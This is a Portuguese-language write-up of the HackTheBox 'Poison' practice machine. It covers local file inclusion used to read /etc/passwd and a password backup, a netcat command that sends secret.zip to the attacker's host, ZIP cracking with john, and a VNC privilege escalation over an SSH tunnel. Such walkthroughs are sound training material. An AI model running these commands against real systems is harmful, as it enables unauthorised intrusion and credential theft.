> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md). # Resolução da máquina Poison do HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Inclusão de Arquivo Local (LFI) * Quebrando arquivo ZIP * Abusando do VNC - vncviewer (Escalada de privilégios) {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

**Descoberta de portas abertas com Nmap:** ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.84 -oG allPorts ```

**Varredura de versão de portas com Nmap (22, 80):** Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p22,80 10.10.10.84 -oN targeted ```

## Porta 80 - FreeBSD {% hint style="info" %} FreeBSD é um popular sistema operacional livre de código aberto baseado na versão BSD do sistema operacional Unix. O FreeBSD tem a reputação de ser rápido, estável e particularmente adequado para operar como servidor de Internet ou servidor de arquivos. {% endhint %}

### **Exploração de LFI** Identificamos um parâmetro vulnerável: ``` ?file=FILE ```

Isso nos permite ler qualquer arquivo disponível no sistema. Remotamente `pwnbackup.txt`, encontramos uma string indicando uma senha criptografada **13 vezes em base64**: ``` Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo ```

Descriptografia com `echo`: {% code overflow="wrap" %} ```bash echo "Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d; echo ``` {% endcode %} A senha revelada é: * `Charix!2#4%6&8(0` ### **Busca de usuário do sistema** Listamos `/etc/passwd` via LFI e encontramos o usuário **charix**.

Conexão SSH com as credenciais encontradas: ```bash ssh charix@10.10.10.84 ```

### Flag user.txt :) Flag `user.txt` recuperado

## **Escalada de privilégios** Encontramos um arquivo **secret.zip**. #### **Transferência de arquivo com Netcat** Em nossa máquina: ```bash nc -nvlp 443 > secret.zip cat secret.zip | nc 10.10.14.50 443 ``` O arquivo está protegido por senha.

### **Quebra de senha do ZIP** **Extraia o hash com `zip2john`**: Então usaremos o zip2john para extrair o hash ```bash zip2john secret.zip > hash ``` **Quebra de senha com `john`**: ```bash john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash ``` **Resultado**: Não encontrado

Testamos a reutilização da senha descoberta anteriormente:

/*Sucesso! /*/\* `segredo` o arquivo contém caracteres estranhos, sugerindo uma chave de acesso ### Exploração das portas 5800, 5801, 5900, 5901 - VNC Identificamos portas em escuta: ```bash netstat -an | grep LISTEN ```

#### **Túnel SSH para encaminhar portas VNC** ```bash ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84 ```

Varredura do serviço VNC : ```bash nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1 nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1 ```

#### **Login via vncviewer** Usamos a senha encontrada em `secret.zip`: ```bash vncviewer -passwd secret 127.0.0.1:5901 ``` Obtemos um **acesso root** na máquina!

### Bandeira root.txt

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